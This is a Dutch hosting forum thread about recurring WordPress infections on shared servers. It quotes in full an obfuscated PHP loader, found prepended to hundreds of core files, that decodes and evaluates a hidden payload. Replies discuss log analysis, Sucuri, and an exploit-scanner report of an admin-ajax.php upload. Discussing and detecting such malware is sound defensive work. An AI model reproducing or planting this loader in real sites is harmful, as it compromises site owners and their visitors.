PDA

Bekijk Volledige Versie : Wordpress malware



Kevin Bentlage
03/02/15, 13:36
Beste,

Er zijn al verscheidende topics over het bestrijden van Malware, echter blijven er continue maar nieuwe soorten malware komen en kost het ons, en waarschijnlijk vele andere, steeds meer tijd om dit te bestrijden.

Voornamelijk op shared hosting servers van klanten komen wij deze problemen bijna dagelijks tegen, eigenlijk alleen in Wordpress websites. Soms glipt er een verouderde Joomla installatie door.

We hebben al gebruik gemaakt van tools zoals ClamAV, Maldet en Patchman, deze vinden een hele hoop maar helaas niet alles (en ik snap dat dit ook niet mogelijk is) waardoor er toch problemen blijven ontstaan, dit varieert van "opeens" niet meer werkende websites, tot bulkmail en (zichtbaar) gehackte websites. En ook begin ik langzaam maar zeker mijn handen in het haar te steken als het gaat om het vinden van een goede oplossing hiervoor. (opruimen van deze zooi kunnen we natuurlijk blijven doen totdat we een ons wegen).

Zo kwam ik afgelopen weekend een Wordpress site tegen waarin +- 800 bestanden (voornamelijk /wp-includes en /wp-admin) voorzien waren van een lap PHP code (zie onderstaand), toevallig lijkt de code op het eerste oog gelijk te zijn bij deze bestanden en is deze aan het bestand geprepend (nog boven de comments van wordpress), en ik heb dus een lijstje kunnen maken door op een willekeurige string in deze code te greppen.


<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x 45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $arxqlcwhmb = '48y]#>s%x5c%x7825<#462]x787f!~!<##!>!2p%x5c%x7825Z<^f+*0f(-!#]y76]277]y72]265]y39]271824%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*67]452]88]5]48]32M3]317]4c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5rr.93e:5597f-s.973:8297f:5297e:56-%x581]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5%x7824gps)%x5c%x7825j>1<%x5c%!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x!%x5c%x7825 yy)#}#-#%x5c%x7824-%x5c%x7&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x78fsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x5h%x5c%x7825%x5c%x782f#0#%x5c %x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j% x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c)sfebfI{*w%x 5c%x7825)kV%x5c%x7878{**#k#)f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825x7825%x5c%x7824-%x5c%x7824b!>5fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c28%141%x72%162%x61%171%x55c%x78 25)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*2f!#0#)idubn%x5c%x7860hd19275fubmgoj {h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe)) 1%x5{e%x5c%x7825+*!*+fepdfe{h825!|Z~!<##!>!2p%x5c%x7825!|!*!60{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%"%x61%156%x75%156%x61"])))) { $GLOBALS["%x61%156%x75%CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**1111]y76]62]y3:]84#-!OVMM*<%c%x7824]y8%x5c%x7824-%x5c%x7824]264#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%147%x67%42%x2c%163%x74%162%x5f%163%x70%154% x69%164%50%x22%1%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-##)zbssb!-#}#)fepmqnj!%x5c%x78%x7825!*3!%x5c%x7827!hplace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x%x78b%x5c%x7825mm)%x5c%x 7825%x5c%x47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825:c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*34%x78%62%x35%165%x3a c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQ%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<!|%x5c%x7824-%x5c%x7824g7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1? x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y156%x61"]=1; function fjfgg($n){retur%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]375c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<mtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82w!>!#]y84]275]y83]273]y-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x78 60msvd}+;!>!}%x5S%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msv 7878B%x5c%x7825h>#]y31#@#7%x5c%x782f7^#iubq#%x5c%x7851L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:7597pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]if((function_exists(":**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+s:N}#-%x5c%x7825o:W%x5c%x789!%x5c%x7827!hmg%x5c%x7825)!g j!~<ofmy%x5c%x7825,3,5c%x7825)hopm3qjA)qj3hopmA%x5c%x7 8273qj%x5c%x78256<*Yc%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*C;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x782msv%x5c%x78 25)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h5tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x83:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5cM8]Df#<%x5c%x7825tdz>#L4]275L5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!256<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs% x5c%x78c%x7825ggg)(0)%x5c%x782x5c%x782f#p#%x5c%x78 2f%x5c%x78uf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x782274]y85]273]y6g]273]y76]271]y7d]252]y74]256{ftmfV%x5c%x787f<*XAZASV<*w%x55c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7825c%x7878Bsfuvso!sboepn)%x5c%x7825epn%x782 5-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%x41]88M4P8]37]278]225]241]334]368]322]3]364]6]283]42725j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s6Z6<.5%x5c%x7860hA%x5c%x782d}R;*msv%x5c%x7825)}.;%x5c% x7860UQPMSVD!}.}-}!#*<%x5c%x7825nfd>%x5c%x782]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y876]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257]cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825e>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,x7824-%x5c%x7824*<!~!dsfb2fqp%x5c%x7825>5h%x5c%xc%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]5%x5c%x7825j:^<!%x5c%x7825w3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%%x6f%142%x5f%163%x74%141%x72%164") && (!isset($GLOBALS[3]248]y83]256]y81]265]y74-!%x5c%x7825%x5c%x7824-%x5{hnpd!opjudovg!|!**#j{hnpd#)tutjyfn chr(ord($n)-1);} @error_reporting(0); preg_re25_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5cx5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fc%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x78258256<%x5c%x787fw6*%x5ckj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:N+#Qi%x5c%x785c1^W%x5c%x78255c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x7824<!%x5Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce4h%x5c%x7825)n% x5c%x7825-#+I#)q%x5c%x7825:>:r%x5cs%x5c%x7860un>qp%x5c%x7x7825j=tj{fpg)%x5c%x7825%x5c%3]248L3P6L1M5]D2P4]D6#<%x5c%x78c%x7825mm!>!#]y81]273]y76]258]y6g]273]cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%l}%x5c%x7827;%x5c%x7825!<%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%tutjyf%x5c%x7860%x5c%x7878%x5c%x7 822l:!}6d%160%x6c%157%x64%145%x%x785cq%x5c%x7825)u fttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7*doj%x5c%x78257-C)fepmqnjA%x5c***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfm7&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%7825)3of:opjudovg<~%x5c%x7824<!%x45]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x7825N;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x78254!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825y76]271]y7d]252]y74]256#<!%x}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%xx7825ww2)%x5c%x7825w%x5c%x7860TW~% x5c%x7824<%x5c%x78e%x5c25!-uyfu%x5c%x7825)3of)fepdof%x5c%x7860{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#2]254]y76#<%x5c%x7825tm%x5c%x7860FUPNFS&d_SFSFGF%x7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%825t::!>!%x5c%x7824Ypp3)%x5c%x7825%x7825:|:**t%x5c%x7825)m %x5825)tpqsut>j%x5c%x7825!*25c:>1<%x5c%x7825b:>1<!gps)%x5c%x78c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%x7825w]y76]277]y72]265]y39]|:*r%x5c%x7825:-t%x5c%x%x7825bbT-%x5c%x7825bT-%x5c%x7825hWpc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k; opjudovg}%x5c%x7878;0]=])0#)U!5c%x787f_*#ujojRk3%x5c%5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x]82]y3:]62]y4c#<!%x5c%x7c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c% x7825!osvufs!*!+A!>!{e%x5c%x7825)hIr%x5c%x785c1^-%x5c%x7825r%x5c*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}25G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55L5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)5457ftbc%x5c%x787f!|!*uyfu%x5c%x7827k :!ftmf!}Z;^nbsbq%x5824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5)fepmqyfA>2b%x5c%x7825!<*qp%x5cqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825w]278]y3e]81]K78:56985:6197g:74985-TOBSUOSVUFS,6<*msv%x5c%x78257-MSV]36]373P6]36]73]83]238M7]381]211M5]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x78bss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x782 5z>!tussfw)%x5c*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#x5c%x7825nfd)##Qtpz)#]3hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%mg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tp5b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785cWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x78c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji% x5c%x7878:<##:>:h]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]667R37,18R#>q%x5c%x7825V<*#fV;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;ze2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x7-#!#-%x5c%x7825tmw)%x5c%x782c%x7825%x5c%x785cSFWSFT%x5c %x7860%xcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qs vmt+fmhpph7825!<*::::::-111112)eob25)dfyfR%x5c%x7827tfs%x5c%x782f%155%x61% 160%x28%42%x66%152%x66x5c%x7825-#1]#-bubE{h%x5c%x7x5c%x785cq%x5c%x78257**^#zsfvr#%x5cx7 860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827%x5c%x7825)Rd%x5c%x7825)7,*c%x5c%x7827, *b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782 7-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGx22%51%x29%51%x29%73", NULL); }A:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j {hnpk~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56j%x5c%x7825>j%x5c%x7825!<**#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7256<pd%x5c%x7825w6Z6<.3%x5787f%x5c%x787f%x5c%x787f<u%x5c%x7825opoV;hojepdoF.uofuopD#%x7860opjudovg)!g j!|!*%x5c%x7827{**u%x5c%x7825-#jt0x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fc%x7825!|!*)323zbe k!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>c%x7824*!|!%x5c%x7824-%x5c%x7#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782fvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5cV%x5c%x7827{ftmfV%x5c%x787f<*X&Z&Shmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>7878pmpusut)tpqssutRe256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopdXA%x5%146%x21%76%x21%50%x5c%x7825%%x785c2 ^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw )#]82#d]55#*<%x5c%x7825bG9}:eTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7 825r%x%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7%x5c%x787 f!>>%x5c%x7822!pd%x/(.*)/epreg_replacefqdgihifkh'; $rhvvdpdslo = explode(chr((204-160)),'3048,21,4773,55,1299,53,2331,37,4913,47,171 1,61,5744,24,962,25,8615,32,1530,60,1990,21,9872,2 9,2464,40,6727,67,4270,27,2922,66,9267,26,7033,64, 1590,70,143,62,1352,57,8849,59,5916,46,9402,40,373 9,64,9805,67,6687,40,3621,53,5007,64,3190,53,777,3 9,10029,49,2841,31,5577,48,8675,35,5768,60,8390,56 ,5197,22,2059,60,5828,30,6403,56,3243,61,8073,53,8 585,30,8908,38,7610,33,4131,49,6941,23,8710,51,510 ,40,1241,58,2758,61,4297,40,2635,67,1930,60,10078, 28,987,40,9351,22,3363,64,3535,57,1689,22,7974,59, 7483,56,8647,28,6628,24,3140,50,9085,27,4714,59,22 12,50,9731,53,7888,46,720,57,4879,34,5650,54,23,29 ,8330,60,6316,39,7452,31,4087,44,588,68,3304,59,87 85,64,4616,23,8561,24,5456,23,1210,31,5858,58,8509 ,52,1660,29,1063,23,550,38,9784,21,8761,24,5353,55 ,1467,63,6378,25,2702,56,9486,67,3674,65,6459,44,6 277,39,7341,54,8474,35,6964,45,7287,54,5625,25,719 7,48,9034,51,8977,57,1086,54,3069,44,1185,25,7097, 69,410,63,9293,36,9697,34,3968,30,5127,70,4529,62, 8249,27,9329,22,816,40,5704,40,8276,54,6873,68,937 3,29,6163,57,2417,47,7817,48,6794,21,3925,43,4369, 55,4828,24,6355,23,2612,23,4424,56,7678,70,4960,47 ,2368,49,9442,44,5408,48,6601,27,8126,56,2988,60,0 ,23,1806,65,6815,23,5962,33,5295,58,5539,38,6135,2 8,3998,53,4852,27,9553,29,85,58,892,29,473,37,7395 ,57,230,62,1433,34,1027,36,2119,24,9627,70,381,29, 5479,29,4591,25,3856,69,6099,36,5219,48,7009,24,65 67,34,4480,49,5267,28,2011,48,9988,41,4051,36,7748 ,69,7539,37,6055,44,7166,31,9901,65,8446,28,3427,4 6,2819,22,7576,34,292,37,4639,49,2872,50,3473,62,9 582,45,656,64,3592,29,5508,31,7245,42,9966,22,4337 ,32,921,41,6838,35,9167,39,7865,23,4180,52,7643,35 ,205,25,5995,60,1140,45,1871,59,856,36,3113,27,665 2,35,4232,38,5071,56,2504,64,8033,40,4688,26,9206, 61,7934,40,3826,30,6503,64,6220,57,1772,34,2143,69 ,9112,55,2262,69,329,52,3803,23,52,33,8182,67,2568 ,44,1409,24,8946,31'); $fnaqyeouup=substr($arxqlcwhmb,(70598-60492),(22-15)); if (!function_exists('fkyoklypic')) { function fkyoklypic($jomiljssvl, $ftmavhpqhi) { $umnzsoatap = NULL; for($vvmseuorie=0;$vvmseuorie<(sizeof($jomiljssvl)/2);$vvmseuorie++) { $umnzsoatap .= substr($ftmavhpqhi, $jomiljssvl[($vvmseuorie*2)],$jomiljssvl[($vvmseuorie*2)+1]); } return $umnzsoatap; };} $uzrtsmzsku="\x20\57\x2a\40\x74\163\x71\142\x73\171\x6d\172\x66 \147\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162 \x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x 28\50\x31\65\x38\55\x31\62\x31\51\x29\54\x20\143\x 68\162\x28\50\x36\60\x31\55\x35\60\x39\51\x29\54\x 20\146\x6b\171\x6f\153\x6c\171\x70\151\x63\50\x24\ 162\x68\166\x76\144\x70\144\x73\154\x6f\54\x24\141 \x72\170\x71\154\x63\167\x68\155\x62\51\x29\51\x3b \40\x2f\52\x20\141\x7a\150\x67\142\x6b\144\x79\160 \x78\40\x2a\57\x20"; $qszkcvgwmf=substr($arxqlcwhmb,(43989-33876),(37-25)); $qszkcvgwmf($fnaqyeouup, $uzrtsmzsku, NULL); $qszkcvgwmf=$uzrtsmzsku; $qszkcvgwmf=(389-268); $arxqlcwhmb=$qszkcvgwmf-1; ?>

Ik heb deze files opgeschoond, door o.a. de complete /wp-includes en /wp-admin mappen opnieuw te uploaden, en alle overige files met de hand op te schonen. Echter werdt ik vandaag niet blij toen ik steekproefgewijs door deze bestanden ging. Ik kwam een zelfde soort code tegen maar dan met ander inhoud (waarschijnlijk wordt dit random gegenereerd).

Ik begin me nu toch echt af te vragen of dit via een backdoor in het thema of plugins binnen komt. Wordpress is up2date en de server zelf is aardig beveiligd (het is een shared server en dus helaas niet helemaal dicht te spijkeren), zie ik geen verdachte processen draaien. Daarnaast heb ik gekeken in de FTP log maar hier zie ik geen enkele entries die mutaties hebben gedaan op één van deze bestanden (die van mezelf uitgesloten).

Het betreft een up2date DirectAdmin server met PHP 5.4, Opcache en Suhosin geïnstalleerd en laten we FTP uploads scannen door ClamAV en Suhosin. Daarnaast draaien de scripts als de gebruiker m.b.v. Mod_ruid2.

We hebben de bovenstaande site vandaag nogmaals opgeschoond, maar we kunnen er eigenlijk van uit gaan dat dit niet voldoende zal zijn en er misschien later op de dag alweer besmette bestanden te vinden zijn. De site zelf is up2date, ook de gebruikte plugins, hier zitten ook geen "vreemde" plugins bij en eigenlijk alleen maar plugins die goed staan aangeschreven. Het thema is maatwerk.

Mijn vraag is nu eigenlijk, hoe kunnen we hier nou een goede oplossing voor vinden om niet meer achter de feiten aan te lopen en om deze problemen automatisch af te vangen / tegen te houden. Hoe doen jullie dit? Welke tools worden er gebruikt om dergelijke zaken te detecteren en te bestrijden, en hoeveel last hebben jullie hier nu eigenlijk van.

Jullie reacties zijn meer dan welkom!

DiederikL
03/02/15, 14:31
Het ontbreken van "vreemde" plugins zegt ansich niet zoveel. Veel plugins/themes kun je tegenwoordig gratis downloaden via alternatieve kanalen met gratis extra ingebouwde features *kuch*.
Als er niets is geupload via FTP sinds je handmatige opschoonactie dan wordt de code dus gegenereerd vanuit een bestand/plugin/theme wat niet gelijk argwaam wekt.

Kevin Bentlage
03/02/15, 14:59
Daar heb je inderdaad gelijk in, ik heb dit soort kanalen ook al voorbij zien komen. Echter weet ik van deze specifieke sites dat alle plugins (en dit zijn er niet veel) via Wordpress zelf zijn geïnstalleerd (via de officiële weg dus).

Het is inderdaad voor de hand liggend dat de problemen vanuit een bestand/plugin of theme komt. Echter gaat dit topic mij meer om oplossingen en mogelijkheden om dergelijke problemen af te vangen en waar nodig op te lossen.

antenna
03/02/15, 16:02
Kun je in de logfiles zien welke POST statements er geweest zijn in combinatie met tijdstempel gewijzigde files en dan kijken vanaf welke ip-nummers en die resolven, dan zie je soms wat meer.

Succes, want dit zijn lastige zaken inderdaad.

Domenico
03/02/15, 16:48
Is een service zoals Sucuri die bied mischien niet iets voor je? Kun jij je weer focussen op andere zaken.

https://sucuri.net/

bibawa
04/02/15, 22:36
Wij maken hier sinds een aantal weken gebruik van Exploitscanner op cPanel.. Als ik zie wat dat allemaal stopt en in quarantaine duwt dan begin je ter plaatse geel, groen en bruin te sch**ten..

Ik was me bewust dat er veel attacks gebeurden, maar zoveel ? Exploit scanner is enkel maar beschikbaar op cPanel en ik overweeg sterk om onze Plesk server te migreren naar daar...

Wat ik heel veel zie in Wordpress instalaties is deze hack:

Scanning web upload script file...
Time : Sun Feb 1 02:01:41 2015 +0100
Web referer URL :
Local IP : 185.X.Y.Z
Web upload script user : nobody (99)
Web upload script owner: user (511)
Web upload script path : /home/user/public_html/wp-admin/admin-ajax.php
Web upload script URL : http://www.domein.be//wp-admin/admin-ajax.php
Remote IP : 198.57.215.140
Deleted : No
Quarantined : Yes [/home/quarantine/cxscgi/20150201-020140-VM1687k7EB4AAG@1HZsAAAAA-file-w7MYBE.1422752501_1]

Waar men dus via de admin-ajax.php in de wp-admin folder van Wordpress brol probeert te droppen (en men daar ook in slaagt) en die vervolgens laat uitvoeren..